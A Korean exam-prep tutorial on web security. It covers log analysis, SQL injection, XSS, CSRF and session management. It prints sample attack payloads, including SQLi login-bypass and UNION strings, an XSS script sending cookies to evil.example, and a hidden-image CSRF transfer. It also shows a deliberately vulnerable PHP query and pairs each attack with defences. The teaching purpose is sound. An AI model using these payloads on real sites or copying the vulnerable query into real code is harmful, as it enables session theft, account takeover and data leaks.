이번 문서의 목표: 웹서버 로그에서 공격 시도의 흔적을 식별하고, OWASP(Open Web Application Security Project) Top 10의 핵심인 SQL 인젝션(Injection)·XSS(Cross-Site Scripting)·CSRF(Cross-Site Request Forgery)의 원리를 실제 페이로드 수준으로 설명하며, 세션 관리 취약점과 그 대응을 실무 설정까지 파악할 수 있게 된다.
왜 웹 보안이 별도 과목만큼 중요한가
3편에서 TCP/IP 스택을, 7편에서 파일시스템 접근통제를 다뤘습니다. 이번 편부터는 그 위에서 실제로 사용자가 마주하는 애플리케이션 계층, 그중에서도 가장 공격 표면이 넓은 웹 서비스로 들어갑니다. 웹서버는 인터넷에 상시 노출되어 있고, 다루는 로직이 복잡하며, 개발자의 실수 하나가 그대로 침해로 이어지기 쉬워 정보보안기사 3과목(애플리케이션보안)에서 비중이 가장 큰 영역입니다.
쉽게 말하면: 네트워크 보안이 건물의 출입구를 지키는 일이라면, 웹 보안은 건물 안 접수창구 직원이 요청받은 서류를 검증 없이 그대로 처리하지 않도록 하는 일입니다.
1. 웹서버 운영 기초 — Apache·Nginx·IIS
아키텍처 차이
| 서버 | 처리 모델 | 특징 |
|---|---|---|
| Apache HTTP Server | 프로세스/스레드 기반(prefork, worker, event 등 다중 처리 모듈, MPM) | 모듈이 풍부하고 .htaccess로 디렉터리별 세부 설정 가능, 오래되고 자료가 많음 |
| Nginx | 이벤트 기반 비동기 단일 스레드(worker 프로세스별 이벤트 루프) | 적은 자원으로 대량 동시 접속 처리에 강함, 정적 파일·리버스 프록시·로드밸런싱에 널리 사용 |
| IIS(Internet Information Services) | 윈도우 통합, ASP.NET과 긴밀히 연동 | 윈도우 서버 환경, 액티브 디렉터리(Active Directory) 인증과 통합이 쉬움 |
7편과의 연결: 이 서버들이 파일을 읽고 쓰는 권한은 결국 운영체제의 파일 권한 체계(리눅스 권한비트·ACL, 윈도우 NTFS 권한) 위에서 동작합니다. 웹서버 프로세스 계정에 불필요하게 높은 권한을 주면, 애플리케이션 취약점 하나가 곧바로 시스템 전체 장악으로 이어질 수 있습니다. 그래서 웹서버는 반드시 전용 저권한 계정(예: www-data, nginx)으로 구동합니다.
로그 형식 읽기
공통 로그 형식(Common Log Format)과 이를 확장한 결합 로그 형식(Combined Log Format)은 Apache·Nginx 접속 로그의 표준 형식입니다.
203.0.113.7 - - [20/Sep/2026:14:22:01 +0900] "GET /login.php?id=admin'--%20 HTTP/1.1" 200 1532 "-" "sqlmap/1.7"필드별 의미:
| 필드 | 값 | 의미 |
|---|---|---|
| 발신지 IP | 203.0.113.7 | 요청을 보낸 클라이언트 주소 |
| 타임스탬프 | 20/Sep/2026:14:22:01 +0900 | 요청 시각 |
| 요청 라인 | GET /login.php?id=admin’—%20 | 요청 메서드·경로·쿼리스트링 |
| 상태 코드 | 200 | 서버 응답 코드(정상 처리됨을 의미) |
| User-Agent | sqlmap/1.7 | 요청을 보낸 클라이언트 소프트웨어 — 자동화 공격 도구임을 그대로 드러냄 |
이 로그에서 읽어야 할 위험 신호: 쿼리스트링에 SQL 주석 기호(--)와 작은따옴표가 섞여 있고, User-Agent가 잘 알려진 SQL 인젝션 자동화 도구(sqlmap)입니다. 게다가 상태 코드가 200(정상 처리)이라는 것은 이 악성 요청이 필터링되지 않고 애플리케이션까지 그대로 전달되었다는 뜻이라 더욱 위험합니다.
장애·공격 분석의 기본 패턴
- 접속 로그에서 이상 트래픽 탐색: 같은 IP에서 짧은 시간에 반복되는 404(존재하지 않는 페이지) 요청은 자동화된 디렉터리·취약점 스캐닝을 의심합니다.
- 에러 로그 대조: 5xx(서버 오류) 응답이 급증한 시점과 접속 로그의 특정 요청 패턴이 겹치는지 확인합니다. 처리되지 않은 예외가 오류 로그에 스택 트레이스로 남아, 공격자가 시스템 구조를 추정하는 단서가 되기도 합니다.
- 요청 파라미터 정밀 분석: 상태 코드가 200인데도 파라미터에 스크립트·SQL 구문 패턴이 섞여 있다면 인젝션 성공 가능성을 의심하고 실제 애플리케이션 로그·DB 감사 로그까지 대조합니다.
- User-Agent·요청 빈도로 자동화 도구 여부 판별: 사람이 브라우저로 접속할 때는 나타나지 않는 패턴(정확히 일정한 간격의 요청, 알려진 스캐너의 User-Agent)을 걸러냅니다.
2. OWASP Top 10과 인젝션 공격
OWASP Top 10은 오픈 웹 애플리케이션 보안 프로젝트가 정기적으로 발표하는, 가장 흔하고 심각한 웹 취약점 상위 10개 분류입니다. 이 중 이번 편에서는 실무 빈도가 가장 높은 인젝션·XSS·CSRF·세션 관리를 다루고, 17편에서 시큐어코딩·정적/동적 분석과 SSRF 등 나머지 최신 유형을 이어서 다룹니다.
SQL 인젝션(SQL Injection)
왜 가능한가. 애플리케이션이 사용자 입력값을 검증·이스케이프 없이 그대로 SQL 쿼리 문자열에 이어 붙이면, 사용자가 입력한 값이 데이터가 아니라 쿼리 구문의 일부로 해석될 수 있습니다.
쉽게 말하면: 식당에서 주문서에 “김치찌개, 그리고 계산대 서랍도 열어줘”라고 적었는데 직원이 그 문장을 곧이곧대로 실행해 버리는 것과 같습니다.
취약한 코드 예시(PHP, 절대 이렇게 쓰면 안 되는 패턴):
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE username = '$id'";
$result = mysqli_query($conn, $query);공격 페이로드:
id = admin' --이 값이 그대로 이어 붙으면 실행되는 쿼리는 다음과 같이 바뀝니다.
SELECT * FROM users WHERE username = 'admin' --'해석: SQL에서 --는 그 뒤를 모두 주석 처리합니다. 원래 있어야 할 비밀번호 검증 조건(AND password = '...')이 통째로 무시되고, 비밀번호 확인 없이 admin 계정으로 로그인이 성공해 버립니다.
UNION 기반 정보 탈취 페이로드:
id = ' UNION SELECT username, password FROM users --원래 상품 목록을 보여주려던 쿼리에 UNION SELECT를 붙이면, 전혀 다른 테이블(사용자 계정 테이블)의 내용을 상품 목록 화면에 그대로 노출시킬 수 있습니다. UNION이 두 개의 SELECT 결과를 하나로 합치는 SQL 문법이라는 점을 악용한 것입니다.
방어 — 매개변수화된 쿼리(Prepared Statement):
$stmt = $conn->prepare("SELECT * FROM users WHERE username = ?");
$stmt->bind_param("s", $id);
$stmt->execute();왜 이 방식은 안전한가: 매개변수화된 쿼리는 SQL 구문 구조를 먼저 DB 엔진에 전달해 컴파일한 뒤, 사용자 입력값은 오직 값으로만 그 자리에 바인딩합니다. 입력값에 아무리 SQL 구문처럼 보이는 문자열이 들어 있어도 구문으로 재해석되지 않고 순수한 문자열 데이터로만 취급됩니다.
자주 틀리는 점: “특수문자 필터링만 하면 안전하다”고 생각하기 쉽지만, 인코딩 우회(예: URL 인코딩, 대소문자 혼용, 주석 삽입)로 필터를 통과하는 사례가 많습니다. 근본 대책은 필터링이 아니라 매개변수화된 쿼리와 최소 권한 DB 계정(19편에서 심화)입니다.
XSS(Cross-Site Scripting, 크로스사이트 스크립팅)
왜 가능한가. 애플리케이션이 사용자 입력값을 그대로 HTML 응답에 포함시키면, 그 입력값에 담긴 스크립트 코드가 다른 사용자의 브라우저에서 실행됩니다.
쉽게 말하면: 방명록에 누군가 몰래 초소형 스피커를 숨겨 두면, 그 방명록을 읽는 모든 사람의 자리에서 그 스피커가 울리는 것과 같습니다.
세 가지 유형:
| 유형 | 저장 위치 | 실행 시점 |
|---|---|---|
| 저장형(Stored XSS) | 게시글·댓글처럼 서버 DB에 스크립트가 영구 저장됨 | 그 게시글을 조회하는 모든 사용자에게 실행 — 피해 범위가 가장 넓음 |
| 반사형(Reflected XSS) | URL 파라미터 등 요청에 담긴 스크립트가 응답에 그대로 반영됨 | 피해자가 악성 링크를 클릭한 그 순간에만 실행 |
| DOM 기반(DOM-based XSS) | 서버를 거치지 않고, 브라우저 내 자바스크립트가 URL 등 입력값을 DOM에 그대로 반영 | 클라이언트 측 코드만으로 발생, 서버 로그에 흔적이 안 남을 수 있음 |
저장형 XSS 페이로드 예시 (게시판 댓글 입력창에 입력):
<script>document.location='https://evil.example/steal?c='+document.cookie</script>이 댓글을 다른 사용자가 조회하면, 브라우저는 이 문자열을 텍스트가 아니라 실행 가능한 스크립트 태그로 해석해 그대로 실행합니다. 결과적으로 그 사용자의 쿠키(로그인 세션 값 포함)가 공격자의 서버로 전송됩니다.
방어 — 출력 인코딩(output encoding): 사용자 입력값을 HTML에 삽입할 때, <를 <로, >를 >로, "를 "로 바꿔 브라우저가 이를 태그가 아닌 순수 텍스트로 인식하게 만듭니다.
원본 입력: <script>alert(1)</script>
인코딩 후: <script>alert(1)</script>해석: 인코딩된 문자열은 화면에 문자 그대로 <script>alert(1)</script>라는 글자로만 보일 뿐, 브라우저가 태그로 해석해 실행하지 않습니다.
추가 방어 — CSP(Content Security Policy): 서버가 응답 헤더로 “이 페이지는 지정한 출처의 스크립트만 실행을 허용한다”고 브라우저에 선언하는 정책입니다. 설령 인코딩을 놓친 부분이 있어 악성 스크립트가 삽입되더라도, 그 스크립트의 출처가 허용 목록에 없으면 브라우저가 실행 자체를 차단합니다.
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted-cdn.example자주 틀리는 점: SQL 인젝션의 방어는 “구조와 데이터의 분리”(매개변수화)이고, XSS의 방어는 “출력 시점의 인코딩”입니다. 두 공격 모두 “신뢰할 수 없는 입력을 그대로 실행 문맥에 섞어 넣는다”는 근본 원인은 같지만, 실행되는 문맥(SQL 엔진 vs 브라우저)이 다르므로 대책도 다릅니다.
CSRF(Cross-Site Request Forgery, 크로스사이트 요청위조)
왜 가능한가. 브라우저는 어떤 사이트에 로그인한 상태라면, 그 세션 쿠키를 요청이 어디서 발생했는지와 무관하게 자동으로 함께 전송합니다. 공격자는 이 특성을 이용해, 피해자가 로그인된 상태로 악성 페이지를 열기만 해도 피해자 몰래 정상 사이트에 요청을 보내게 만들 수 있습니다.
쉽게 말하면: 이미 은행 창구에 신분증을 맡겨 둔 상태(로그인 유지)에서, 누군가 몰래 내 이름으로 된 이체 신청서를 창구에 슬쩍 끼워 넣는 것과 같습니다.
공격 시나리오 예시. 은행 사이트가 다음과 같이 단순 GET 요청만으로 이체를 처리한다고 합시다.
GET https://bank.example/transfer?to=attacker&amount=1000000공격자는 자신이 운영하는 페이지에 다음처럼 이 요청을 자동으로 발생시키는 태그를 숨겨 둡니다.
<img src="https://bank.example/transfer?to=attacker&amount=1000000" style="display:none">피해자가 은행 사이트에 로그인한 상태로 이 악성 페이지를 열기만 해도, 브라우저는 img 태그의 주소를 불러오려 시도하면서 은행 세션 쿠키를 자동으로 함께 전송합니다. 은행 서버 입장에서는 유효한 세션의 정상 요청과 구분할 방법이 없습니다.
방어 방법:
| 방법 | 원리 |
|---|---|
| CSRF 토큰 | 폼마다 서버가 예측 불가능한 임의값을 발급해 숨겨 두고, 요청 시 그 값이 일치하는지 검증. 공격자는 이 토큰 값을 알 수 없어 위조 요청을 만들지 못함 |
| SameSite 쿠키 속성 | 쿠키에 SameSite=Strict 또는 Lax를 설정해, 다른 사이트에서 발생한 요청에는 브라우저가 쿠키를 아예 첨부하지 않도록 함 |
| 상태 변경 요청은 GET 대신 POST 사용 | 위 사례처럼 img·a 태그만으로 자동 발생하는 단순 GET 요청으로 상태 변경(이체·삭제 등)이 일어나지 않도록 설계 |
| Referer/Origin 헤더 검증 | 요청이 실제로 신뢰할 수 있는 출처에서 왔는지 서버가 확인 |
자주 틀리는 점: “로그인 세션을 쓰지 않으면 CSRF가 무의미하다”는 것은 맞지만, “HTTPS를 쓰면 CSRF가 방어된다”는 착각이 흔합니다. HTTPS는 통신 구간의 도청·변조(14편)를 막을 뿐, 요청 자체가 피해자 의도와 무관하게 발생하는 것은 막지 못합니다. CSRF와 HTTPS는 방어하는 위협의 층위가 다릅니다.
3. 세션 관리 취약점
세션 하이재킹(Session Hijacking)
세션 ID(로그인 상태를 식별하는 값)가 노출되면, 그 값을 가진 누구나 해당 사용자로 위장할 수 있습니다. XSS로 쿠키를 탈취하거나, 암호화되지 않은 HTTP 통신을 스니핑(12편)해 세션 ID를 가로채는 것이 대표적인 탈취 경로입니다.
세션 고정(Session Fixation)
공격자가 미리 발급받은 세션 ID를 피해자에게 강제로 사용하게 만든 뒤(예: 링크에 세션 ID를 붙여 전달), 피해자가 그 세션으로 로그인하면 공격자는 처음부터 알고 있던 그 세션 ID로 피해자와 동일한 로그인 상태를 공유하게 됩니다.
방어 — 로그인 성공 시 세션 ID 재발급: 로그인 전후로 세션 ID를 반드시 새로 생성합니다. 이렇게 하면 공격자가 미리 심어 둔 세션 ID는 로그인 이후 무효화되어 세션 고정 공격이 성립하지 않습니다.
안전한 쿠키 설정
Set-Cookie: sessionid=8f14e45fceea167a5a36dedd4bad3b4c; HttpOnly; Secure; SameSite=Strict; Max-Age=1800| 속성 | 역할 |
|---|---|
HttpOnly | 자바스크립트(document.cookie)로 쿠키 값을 읽지 못하게 해, XSS가 성공하더라도 세션 쿠키 탈취를 막음 |
Secure | HTTPS 연결에서만 쿠키를 전송해, 평문 HTTP 구간에서의 스니핑 탈취를 막음 |
SameSite | 다른 사이트에서 발생한 요청에 쿠키를 첨부하지 않아 CSRF 위험을 줄임 |
Max-Age | 세션 유효 시간을 제한해, 탈취된 세션 ID의 악용 가능 시간을 최소화 |
세션 ID 자체의 요건: 충분히 긴 길이와 충분한 무작위성(엔트로피)을 가져야 추측·전수조사(brute force)로 알아낼 수 없습니다. 순차 증가하는 숫자나 예측 가능한 규칙으로 세션 ID를 생성하면, 공격자가 다른 사용자의 세션 ID를 추측해 낼 수 있습니다.
핵심 정리
- Apache는 프로세스/스레드 기반, Nginx는 이벤트 기반 비동기 구조이며, 웹서버는 항상 전용 저권한 계정으로 구동해야 애플리케이션 취약점이 시스템 전체 장악으로 번지지 않는다.
- 접속 로그의 상태 코드·User-Agent·요청 패턴을 함께 대조하면 자동화된 스캐닝·인젝션 시도를 식별할 수 있다.
- SQL 인젝션은 입력값이 쿼리 구문으로 재해석되는 것이 원인이며, 근본 방어는 매개변수화된 쿼리다.
- XSS는 저장형·반사형·DOM 기반으로 나뉘며, 근본 방어는 출력 시점의 인코딩과 CSP다.
- CSRF는 브라우저가 요청 출처와 무관하게 세션 쿠키를 자동 전송하는 특성을 악용하며, CSRF 토큰과 SameSite 쿠키로 방어한다. HTTPS는 CSRF를 방어하지 못한다는 점에 유의한다.
- 세션 관리는 HttpOnly·Secure·SameSite 쿠키 속성과 로그인 시 세션 ID 재발급으로 하이재킹·고정 공격을 막는다.
마무리 복습
$query = "SELECT * FROM users WHERE username = '" . $id . "'";